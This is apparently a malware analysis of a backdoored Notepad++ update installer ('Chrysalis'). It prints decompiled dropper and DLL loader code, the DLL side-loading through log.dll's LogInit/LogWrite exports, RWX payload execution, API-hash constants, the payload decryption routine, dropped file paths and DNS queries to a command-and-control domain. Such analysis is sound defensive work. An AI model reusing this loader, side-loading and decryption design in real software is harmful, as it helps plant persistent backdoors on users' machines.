Notepad++ Chrysalis: Supply-Chain Backdoor Insertion & Dynamic Hooking

/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

void entry(void)

{
  ushort uVar1;
  bool bVar2;
  BOOL BVar3;
  FARPROC pFVar4;
  int iVar5;
  LPWSTR pWVar6;
  short *psVar7;
  LPCWSTR pWVar8;
  WCHAR *pWVar9;
  int *piVar10;
  undefined3 extraout_var;
  undefined *puVar11;
  HANDLE pvVar12;
  WCHAR *pWVar13;
  char *lpString;
  WCHAR WVar14;
  DWORD DVar15;
  HANDLE *TokenHandle;
  int iStack_3f8;
  uint local_3f4;
  wchar_t *local_3f0;
  UINT local_3e8;
  HANDLE pvStack_3e4;
  _TOKEN_PRIVILEGES _Stack_3e0;
  _OSVERSIONINFOW _Stack_3d0;
  uint uStack_2bc;
  undefined4 uStack_2b8;
  SHFILEINFOW SStack_2b4;
  
  local_3e8 = 0;
  local_3f0 = u_Error_writing_temporary_file._Ma_0040a2d8;
  local_3f4 = 0;
  SetErrorMode(0x8001);
  _Stack_3d0.szCSDVersion[0] = L'\0';
  _Stack_3d0.szCSDVersion[1] = L'\0';
  uStack_2bc = 0;
  uStack_2b8 = 0;
  _Stack_3d0.dwOSVersionInfoSize = 0x11c;
  BVar3 = GetVersionExW(&_Stack_3d0);
  if (BVar3 == 0) {
    _Stack_3d0.dwOSVersionInfoSize = 0x114;
    GetVersionExW(&_Stack_3d0);
    uStack_2b8._0_3_ = CONCAT12(4,(undefined2)uStack_2b8);
    uStack_2bc = CONCAT22(uStack_2bc._2_2_,
                          ~-(ushort)(_Stack_3d0.szCSDVersion[0] != L'S') &
                          _Stack_3d0.szCSDVersion[0xd] + L'￐');
  }
  if (_Stack_3d0.dwMajorVersion < 10) {
    _Stack_3d0.dwBuildNumber = _Stack_3d0.dwBuildNumber & 0xffff;
  }
  _DAT_004347b8 = _Stack_3d0.dwBuildNumber;
  _DAT_004347bc =
       (uint)CONCAT11((undefined1)_Stack_3d0.dwMajorVersion,(undefined1)_Stack_3d0.dwMinorVersion)
       << 0x10 | (uStack_2bc & 0xff) << 8 | uStack_2b8 >> 0x10 & 0xff;
  if ((CONCAT11((undefined1)_Stack_3d0.dwMajorVersion,(undefined1)_Stack_3d0.dwMinorVersion) !=
       0x600) && (pFVar4 = FUN_004069a6(0), pFVar4 != (FARPROC)0x0)) {
    (*pFVar4)(0xc00);
  }
  lpString = "UXTHEME";
  do {
    FUN_00406936(lpString);
    iVar5 = lstrlenA(lpString);
    lpString = lpString + iVar5 + 1;
  } while (*lpString != '\0');
  FUN_004069a6(0xc);
  DAT_00434704 = FUN_004069a6(10);
  pFVar4 = FUN_004069a6(8);
  if ((pFVar4 != (FARPROC)0x0) && (iVar5 = (*pFVar4)(0x1e), iVar5 != 0)) {
    _DAT_004347bc = _DAT_004347bc | 0x80;
  }
  Ordinal_17();
  DAT_004347c0 = OleInitialize((LPVOID)0x0);
  SHGetFileInfoW((LPCWSTR)&DAT_0042aa28,0,&SStack_2b4,0x2b4,0);
  FUN_004065b2((LPWSTR)&DAT_00433700,u_NSIS_Error_0040a2bc);
  pWVar6 = GetCommandLineW();
  FUN_004065b2(&DAT_0043f000,pWVar6);
  DAT_00434700 = 0x400000;
  psVar7 = &DAT_0043f000;
  WVar14 = L' ';
  if (DAT_0043f000 == 0x22) {
    psVar7 = (short *)&DAT_0043f002;
    WVar14 = L'\"';
  }
  pWVar8 = (LPCWSTR)FUN_00405eae(psVar7,WVar14);
  pWVar6 = CharNextW(pWVar8);
  pWVar9 = pWVar6;
  while( true ) {
    WVar14 = *pWVar9;
    if (WVar14 == L'\0') break;
    while (WVar14 == L' ') {
      pWVar9 = pWVar9 + 1;
      WVar14 = *pWVar9;
    }
    iStack_3f8._0_2_ = L' ';
    if (*pWVar9 == L'\"') {
      pWVar9 = pWVar9 + 1;
      iStack_3f8._0_2_ = L'\"';
    }
    pWVar13 = pWVar9;
    if (*pWVar9 == L'/') {
      pWVar13 = pWVar9 + 1;
      if ((*pWVar13 == L'S') && ((pWVar9[2] == L' ' || (pWVar9[2] == L'\0')))) {
        DAT_004347a0 = 1;
      }
      if (((*(int *)pWVar13 == CONCAT22(DAT_0040a2b2,DAT_0040a2b0)) &&
          (*(uint *)(pWVar9 + 3) == (CONCAT22(DAT_0040a2b6,DAT_0040a2b4) | (int)DAT_0040a2b2 >> 0xf)
          )) && ((pWVar9[5] == L' ' || (pWVar9[5] == L'\0')))) {
        local_3f4 = 4;
      }
      if ((*(int *)(pWVar9 + -1) == CONCAT22(DAT_0040a2a6,DAT_0040a2a4)) &&
         (*(uint *)pWVar13 == (CONCAT22(DAT_0040a2aa,DAT_0040a2a8) | (int)DAT_0040a2a6 >> 0xf))) {
        pWVar9[-1] = L'\0';
        FUN_004065b2(&DAT_0043f800,pWVar9 + 3);
        break;
      }
    }
    pWVar9 = (WCHAR *)FUN_00405eae(pWVar13,(WCHAR)iStack_3f8);
    if (*pWVar9 == L'\"') {
      pWVar9 = pWVar9 + 1;
    }
  }
  GetTempPathW(0x400,(LPWSTR)&DAT_00441800);
  iVar5 = FUN_0040355c();
  if (iVar5 == 0) {
    GetWindowsDirectoryW((LPWSTR)&DAT_00441800,0x3fb);
    lstrcatW((LPWSTR)&DAT_00441800,u_\Temp_0040a298);
    iVar5 = FUN_0040355c();
    if (iVar5 == 0) {
      GetTempPathW(0x3fc,(LPWSTR)&DAT_00441800);
      lstrcatW((LPWSTR)&DAT_00441800,(LPCWSTR)&DAT_0040a290);
      SetEnvironmentVariableW(u_TEMP_0040a284,(LPCWSTR)&DAT_00441800);
      SetEnvironmentVariableW((LPCWSTR)&DAT_0040a27c,(LPCWSTR)&DAT_00441800);
      iVar5 = FUN_0040355c();
      if (iVar5 == 0) goto LAB_00403ad8;
    }
  }
  DeleteFileW((LPCWSTR)&DAT_00441000);
  local_3f0 = FUN_004030a9(local_3f4);
  if (local_3f0 != (wchar_t *)0x0) goto LAB_00403ad8;
  if (DAT_0043471c != 0) {
    piVar10 = (int *)FUN_00405eae(&DAT_0043f000,L'\0');
    if ((int *)0x43efff < piVar10) {
      do {
        if ((*piVar10 == CONCAT22(DAT_0040a272,DAT_0040a270)) &&
           (piVar10[1] == (CONCAT22(DAT_0040a276,DAT_0040a274) | (int)DAT_0040a272 >> 0xf))) break;
        piVar10 = (int *)((int)piVar10 + -2);
      } while ((int *)0x43efff < piVar10);
    }
    local_3f0 = u_Error_launching_installer_0040a1e8;
    if (piVar10 < &DAT_0043f000) {
      pvStack_3e4 = (HANDLE)FUN_00405b7d();
      iVar5 = lstrlenW((LPCWSTR)&DAT_00441800);
      FUN_004065b2((LPWSTR)&DAT_00435000,pWVar6);
      if (DAT_0043f800 == 0) {
        FUN_004065b2(&DAT_0043f800,(LPCWSTR)&DAT_00440800);
      }
      uVar1 = 1;
      do {
        iStack_3f8 = 0;
        do {
          while( true ) {
            wsprintfW((LPWSTR)(&DAT_00441800 + iVar5 * 2),u_~nsu%X.tmp_0040a258,(uint)uVar1);
            FUN_004065ef((LPWSTR)&DAT_00437800,*(int *)(DAT_00434710 + 0x120));
            if (pvStack_3e4 == (HANDLE)0x0) {
              DVar15 = FUN_00405b60((LPCWSTR)&DAT_00441800);
            }
            else {
              DVar15 = FUN_00405b06((LPCWSTR)&DAT_00441800);
            }
            if (DVar15 != 0) break;
            SetCurrentDirectoryW((LPCWSTR)&DAT_00441800);
            FUN_00406372((LPCWSTR)&DAT_00441800,(LPCWSTR)0x0);
            BVar3 = CopyFileW((LPCWSTR)&DAT_00442800,(LPCWSTR)&DAT_00437800,1);
            if (BVar3 == 0) goto LAB_00403ad8;
            FUN_00406372((LPCWSTR)&DAT_00437800,(LPCWSTR)0x0);
            FUN_004065ef((LPWSTR)&DAT_00438000,*(int *)(DAT_00434710 + 0x124));
            pvVar12 = FUN_00405b95((LPWSTR)&DAT_00438000);
            if (pvVar12 != (HANDLE)0x0) {
              CloseHandle(pvVar12);
              local_3f0 = (wchar_t *)0x0;
              goto LAB_00403ad8;
            }
            if ((iStack_3f8 != 0) ||
               (puVar11 = FUN_0040690f((LPCWSTR)&DAT_00437800), iStack_3f8 = iStack_3f8 + 1,
               puVar11 != (undefined *)0x0)) goto LAB_00403ad8;
          }
          DVar15 = GetFileAttributesW((LPCWSTR)&DAT_00437800);
          if (((DVar15 & 0x400) != 0) || (BVar3 = DeleteFileW((LPCWSTR)&DAT_00437800), BVar3 == 0))
          break;
          FUN_00405cbe((LPCWSTR)&DAT_00441800,1);
          bVar2 = iStack_3f8 == 0;
          iStack_3f8 = iStack_3f8 + 1;
        } while (bVar2);
        uVar1 = uVar1 + 1;
      } while (uVar1 != 0);
      goto LAB_00403ad8;
    }
    *(undefined2 *)piVar10 = 0;
    pWVar8 = (LPCWSTR)(piVar10 + 2);
    bVar2 = FUN_00405f89(pWVar8);
    if (CONCAT31(extraout_var,bVar2) == 0) goto LAB_00403ad8;
    FUN_004065b2(&DAT_0043f800,pWVar8);
    FUN_004065b2((LPWSTR)&DAT_00440000,pWVar8);
    local_3f0 = (wchar_t *)0x0;
  }
  DAT_004347ac = -1;
  local_3e8 = FUN_00403c84();
LAB_00403ad8:
  FUN_00403baa();
  OleUninitialize();
  if (local_3f0 != (wchar_t *)0x0) {
    FUN_00405c12(local_3f0,0x200010);
                    /* WARNING: Subroutine does not return */
    ExitProcess(2);
  }
  if (DAT_00434794 != 0) {
    TokenHandle = &pvStack_3e4;
    DVar15 = 0x28;
    pvVar12 = GetCurrentProcess();
    BVar3 = OpenProcessToken(pvVar12,DVar15,TokenHandle);
    if (BVar3 != 0) {
      LookupPrivilegeValueW
                ((LPCWSTR)0x0,u_SeShutdownPrivilege_0040a230,&_Stack_3e0.Privileges[0].Luid);
      _Stack_3e0.PrivilegeCount = 1;
      _Stack_3e0.Privileges[0].Attributes = 2;
      AdjustTokenPrivileges(pvStack_3e4,0,&_Stack_3e0,0,(PTOKEN_PRIVILEGES)0x0,(PDWORD)0x0);
    }
    pFVar4 = FUN_004069a6(4);
    if (((pFVar4 != (FARPROC)0x0) && (iVar5 = (*pFVar4)(0,0,0,0x25,0x80040002), iVar5 == 0)) ||
       (BVar3 = ExitWindowsEx(2,0x80040002), BVar3 == 0)) {
      FUN_0040140b(9);
    }
  }
  if (DAT_004347ac != -1) {
    local_3e8 = DAT_004347ac;
  }
                    /* WARNING: Subroutine does not return */
  ExitProcess(local_3e8);
}

0040358d: SUB ESP,0x3f8           ; Allocate large stack frame
00403596: PUSH 0x8001
004035a0: CALL SetErrorMode       ; Disable critical error dialogs

00403680: MOV ESI,0x4082a8        ; String table start
00403680: CALL LoadLibraryExW     ; Load each DLL in loop

004036ff: CALL GetCommandLineW
0040370a: PUSH EBX                ; Command line buffer
0040370b: CALL lstrcpyW

00403773: CMP word ptr [ECX],0x2f ; Check for '/' switch
00403787: MOV dword ptr [0x004347a0],0x1  ; Set silent mode

00403865: PUSH ESI                ; Buffer 0x441800
0040386b: PUSH 0x400
00403870: CALL GetTempPathW       ; Get %TEMP% path
00403872: CALL FUN_0040355c       ; Validate/create temp dir

004038dc: PUSH dword ptr [ESP + 0x14]  ; CRC check flag
004038e0: CALL FUN_004030a9       ; Verify installer integrity
004038e5: CMP EAX,EBP             ; Check if failed
004038eb: JNZ error_handler       ; Jump to error if failed

004039a5: CALL FUN_00405b7d       ; Check if admin/elevated
004039dc: PUSH EBP
004039dd: PUSH 0x40a258           ; Format string "~nsu%X.tmp"
004039e8: CALL wsprintfW          ; Generate temp filename
00403a02: CALL CreateDirectoryW   ; Create extraction directory
00403a89: CALL CopyFileW          ; Copy self to temp
00403ab3: CALL CreateProcessW     ; Execute extracted payload

00403ad8: CALL FUN_00403baa       ; Cleanup resources
00403add: CALL OleUninitialize    ; COM cleanup
00403ae3: CMP dword ptr [ESP + 0x18],EBP
00403ae7: JZ exit_normal
00403aea: PUSH 0x200010
00403aef: PUSH error_string
00403af3: CALL MessageBoxIndirectW ; Show error dialog

┌─────────────────┐
│   Entry Point   │
└────────┬────────┘
         ▼
┌─────────────────┐
│  OS Version     │
│  Detection      │
└────────┬────────┘
         ▼
┌─────────────────┐
│  Parse Command  │
│  Line Args      │
└────────┬────────┘
         ▼
┌─────────────────┐
│  Create TEMP    │
│  Directory      │
└────────┬────────┘
         ▼
┌─────────────────┐     ┌─────────────┐
│  CRC Integrity  │────▶│  Error Msg  │
│  Check          │Fail │  & Exit     │
└────────┬────────┘     └─────────────┘
         │Pass
         ▼
┌─────────────────┐
│  Extract to     │
│  ~nsu%X.tmp     │
└────────┬────────┘
         ▼
┌─────────────────┐
│  Execute        │
│  Payload        │
└────────┬────────┘
         ▼
┌─────────────────┐
│  Cleanup & Exit │
└─────────────────┘

C:\\Users\\[USER]\\AppData\\Roaming\\Bluetooth\\

update.exe (Parent)
    └─> BluetoothService.exe (Child Process)
        Command Line: "C:\\Users\\[USER]\\AppData\\Roaming\\Bluetooth\\BluetoothService.exe"
        Purpose: Backdoor execution, persistence, C2 communication

SetErrorMode(0x8001);  // SEM_FAILCRITICALERRORS | SEM_NOOPENFILEERRORBOX

HKLM\\System\\CurrentControlSet\\Control\\SafeBoot\\Option
    → Result: NAME NOT FOUND (not in Safe Mode)

HKLM\\System\\CurrentControlSet\\Control\\Srp\\GP\\DLL
    → Result: NAME NOT FOUND (no Software Restriction Policies)

HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Safer\\CodeIdentifiers
    → Result: SUCCESS (policies exist)
    → AuthenticodeEnabled: 0 (code signing disabled)

HKLM\\System\\CurrentControlSet\\Control\\MUI\\UILanguages
    → en-GB (Type: 274)
    → en-US (Type: 273)
    → zh-CN (Type: 146) - Chinese language pack detected

HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders
HKLM\\System\\CurrentControlSet\\Services\\bam\\State\\UserSettings\\...

C:\\Users\\[USER]\\AppData\\Roaming\\Bluetooth\\BluetoothService.exe (950,592 bytes)
C:\\Users\\[USER]\\AppData\\Roaming\\Bluetooth\\log.dll (85,504 bytes)
C:\\Users\\[USER]\\AppData\\Roaming\\Bluetooth\\BluetoothService (201,096 bytes)

Process: update.exe
Command Line: "C:\\Users\\[USER]\\Desktop\\update.exe"
Exit Code: 2
Execution Time: ~0.32 seconds

Process: BluetoothService.exe
Parent: update.exe
Command Line: "C:\\Users\\[USER]\\AppData\\Roaming\\Bluetooth\\BluetoothService.exe"
Purpose: Backdoor, persistence, C2

void __stdcall entry(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)

100028d7: PUSH EBP
100028d8: MOV EBP, ESP
100028da: CMP dword ptr [EBP+0xc], 0x1    ; Check if fdwReason == DLL_PROCESS_ATTACH
100028de: JNZ 0x100028e5                   ; Skip if not process attach
100028e0: CALL 0x10002de2                  ; __security_init_cookie()
100028e5: PUSH dword ptr [EBP+0x10]        ; lpvReserved
100028e8: PUSH dword ptr [EBP+0xc]         ; fdwReason
100028eb: PUSH dword ptr [EBP+0x8]         ; hinstDLL
100028ee: CALL 0x100027a1                  ; dllmain_dispatch()
100028f3: ADD ESP, 0xc
100028f6: POP EBP
100028f7: RET 0xc

void entry(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
    // Initialize stack cookie only on DLL_PROCESS_ATTACH
    if (fdwReason == DLL_PROCESS_ATTACH) {
        __security_init_cookie();
    }
    
    // Call main DLL dispatcher
    dllmain_dispatch(hinstDLL, fdwReason, lpvReserved);
}

int __cdecl dllmain_dispatch(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)

int dllmain_dispatch(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
    int result;
    
    // Handle DLL_PROCESS_DETACH with no active references
    if ((fdwReason == DLL_PROCESS_DETACH) && (DAT_1001595c < 1)) {
        return 0;
    }
    
    // Handle DLL_PROCESS_ATTACH or DLL_THREAD_ATTACH
    if ((fdwReason == DLL_PROCESS_ATTACH) || (fdwReason == DLL_THREAD_ATTACH)) {
        // Call raw DllMain
        result = dllmain_raw(hinstDLL, fdwReason, lpvReserved);
        if (result == 0) return 0;
        
        // Initialize CRT (C Runtime)
        result = dllmain_crt_dispatch(hinstDLL, fdwReason, lpvReserved);
        if (result == 0) return 0;
    }
    
    // Call custom initialization (always returns 1)
    result = FUN_10001c50();  // Returns 1
    
    // Handle failed DLL_PROCESS_ATTACH
    if ((fdwReason == DLL_PROCESS_ATTACH) && (result == 0)) {
        FUN_10001c50();
        dllmain_crt_process_detach(lpvReserved != NULL);
        dllmain_raw(hinstDLL, DLL_PROCESS_DETACH, lpvReserved);
    }
    
    // Handle DLL_PROCESS_DETACH or DLL_THREAD_DETACH
    if ((fdwReason == DLL_PROCESS_DETACH) || (fdwReason == DLL_THREAD_DETACH)) {
        result = dllmain_crt_dispatch(hinstDLL, fdwReason, lpvReserved);
        if (result != 0) {
            result = dllmain_raw(hinstDLL, fdwReason, lpvReserved);
        }
    }
    
    return result;
}

int dllmain_raw(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
    void *custom_dllmain = PTR_1000e198;
    
    if (custom_dllmain == NULL) {
        return 1;  // No custom DllMain, success
    }
    
    // Call guard_check_icall (CFG - Control Flow Guard)
    (*PTR_guard_check_icall_1000e110)(hinstDLL, fdwReason, lpvReserved);
    
    // Call custom DllMain if present
    return (*custom_dllmain)();
}

intdllmain_crt_process_attach(HINSTANCEhinstDLL, LPVOIDlpvReserved) {
// Initialize CRT
if (!__scrt_initialize_crt(0)) {
return0;
    }

// Acquire startup lock
__scrt_acquire_startup_lock();

// Check if already initialized
if (DAT_10015938!=0) {
// Already initialized - error
abort();
    }

    DAT_10015938=1;  // Mark as initializing

// Before-initialize callback
if (!__scrt_dllmain_before_initialize_c()) {
goto cleanup;
    }

// Initialize runtime checks
_RTC_Initialize();

// Initialize stdio options
__scrt_initialize_default_local_stdio_options();

// Run C initializers (global constructors)
if (_initterm_e(&DAT_1000e120,&DAT_1000e130)!=0) {
goto cleanup;
    }

// After-initialize callback
if (!__scrt_dllmain_after_initialize_c()) {
goto cleanup;
    }

// Run C++ initializers
_initterm(&DAT_1000e114,&DAT_1000e11c);

    DAT_10015938=2;  // Mark as fully initialized

// Increment reference count
    DAT_1001595c++;

return1;

cleanup:
__scrt_release_startup_lock();
return0;
}

void LogInit(void)
{
  // Security cookie check (stack protection)
  local_c = DAT_10015008 ^ (uint)auStack_11c;
  
  // Clear 260-byte buffer (MAX_PATH)
  _memset(local_118, 0, 0x104);
  
  // [1] GetModuleFileNameA - Get current DLL path
  // Hash: 0xe2f5e21b (-0x1d0a1de5 signed)
  pcVar2 = (code *)FUN_100014e0(DAT_1001635c, -0x1d0a1de5);
  (*pcVar2)();  // Returns path to log.dll
  
  // [2] Path string manipulation (anti-analysis)
  // Finds end of string and clears last 4 characters
  pcVar1 = &stack0xfffffedc;
  do {
    pcVar3 = pcVar1;
    pcVar1 = pcVar3 + 1;
  } while (*pcVar3 != '\0');
  pcVar3[-4] = '\0';  // Truncates ".dll" from filename
  
  // [3] CreateFileMappingA - Create shared memory section
  // Hash: 0xfe1a4618 (-0x1e5b9e8 signed)
  pcVar2 = (code *)FUN_100014e0(DAT_1001635c, -0x1e5b9e8);
  uVar4 = (*pcVar2)(0, 0x200000, ...);  // 2MB section
  
  // [4] MapViewOfFile - Map section into process memory
  // Hash: 0x53faaa4
  pcVar2 = (code *)FUN_100014e0(DAT_1001635c, 0x53faaa4);
  (*pcVar2)(0x200000, DAT_10016360, uVar4);
  
  // [5] CloseHandle - Close section handle
  // Hash: 0xd6410922 (-0x29bef6de signed)
  pcVar2 = (code *)FUN_100014e0(DAT_1001635c, -0x29bef6de);
  (*pcVar2)(uVar4);
  
  // Verify stack cookie
  FUN_1000220e(uStack_4c ^ (uint)&uStack_15c);
}

void LogWrite(void)
{
  // Security cookie check
  local_c = DAT_10015008 ^ (uint)&uStack_78;
  
  // [1] VirtualAlloc - Allocate RWX memory (2MB)
  // Hash: 0x47c204ca
  // Parameters on stack:
  //   - Size: 0x200000 (2,097,152 bytes)
  //   - Protection: 0x40 (PAGE_EXECUTE_READWRITE)
  local_74 = 0x40;
  pcVar1 = (code *)FUN_100014e0(DAT_1001635c, 0x47c204ca);
  (*pcVar1)(0x40, 0x200000);
  
  // [2] Secondary initialization
  // Sets up additional structures, decryption keys
  FUN_10001640();
  
  // [3] Hardcoded PE structure layout
  // These values describe a PE file structure:
  uStack_34 = 0x2c5d0;    // Section RVA (0x2C5D0)
  uStack_38 = 0x31000;    // Section virtual size (0x31000)
  uStack_40 = 0x400000;   // Preferred image base (0x400000)
  uStack_3c = 0;          // Reserved
  
  uStack_78 = 0x1000;     // Section alignment (4KB)
  uStack_5c = 0x23000;    // Import table RVA (0x23000)
  uStack_58 = 0x8e00;     // Import table size (0x8E00)
  
  uStack_70 = 0x2d000;    // Relocation RVA (0x2D000)
  uStack_54 = 0xc00;      // Relocation size (0xC00)
  uStack_6c = 0x30000;    // Resource RVA (0x30000)
  uStack_50 = 0x200;      // Resource size (0x200)
  
  uStack_68 = 0x31000;    // Export RVA (0x31000)
  uStack_4c = 0x1c00;     // Export size (0x1C00)
  
  // [4] Callback setup (for payload initialization)
  pcStack_30 = DAT_10016360;           // Main payload entry
  pcStack_2c = FUN_100014c0;           // Callback #1
  pcStack_28 = FUN_100014d0;           // Callback #2
  
  // [5] Execute payload
  // Calls the entry point with structured parameters
  (*DAT_10016360)(&stack0xffffff80);
  
  // Verify stack cookie
  FUN_1000220e(uStack_1c ^ (uint)&pcStack_88);
}

// Build 32-byte keystream
for i = 0 to 0x1f:
  key[i] = (i * 'U') ^ derived_key[i % keylen]
  key[i] = key[i-1] + key[i] ^ 0xaa

LCG constants (classic glibc):
- Multiplier: 0x19660d
- Increment: 0x3c6ef35f

State update: state = state * 0x19660d + 0x3c6ef35f

Per-byte decryption:
  S' = SBOX[byte]               // Substitution
  S' = (S' >> 3 | S' << 5)      // ROL5 (rotate left 5)
  plaintext = S' ^ (state byte) // XOR with LCG output

BluetoothService.exe:0x00404760-0x0040487a
// 1. Get current executable path
GetModuleFileNameW(..., lpFilename, ...);

// 2. Replace filename with "log.dll"
_wcscpy_s(_Dst, ..., L"\\log.dll");

// 3. Load the malicious DLL
pHVar2 = LoadLibraryW((LPCWSTR)lpFilename);  // Loads malicious log.dll

// 4. Call LogInit - THIS TRIGGERS THE PAYLOAD
pFVar3 = GetProcAddress((HMODULE)*param_1,"LogInit");
(*pFVar3)();  // Malicious code executes here

// 5. Also resolves LogWrite (which executes the backdoor)
pFVar3 = GetProcAddress((HMODULE)*param_1,"LogWrite");
param_1[10] = (int)pFVar3;

    Line 17: DNS query for api.skycloudcenter.com (A record)
    Line 18: DNS query for api.skycloudcenter.com (AAAA record)
    Line 25: DNS response: api.skycloudcenter.com → 127.0.0.1
    Line 26: DNS response: api.skycloudcenter.com → 64:ff9b::7f00:1
    Line 255: DNS query for api.skycloudcenter.com (A record) 
    Line 256: DNS query for api.skycloudcenter.com (AAAA record)
    Line 258: DNS response: api.skycloudcenter.com → 127.0.0.1
    Line 259: DNS response: api.skycloudcenter.com → 64:ff9b::7f00:1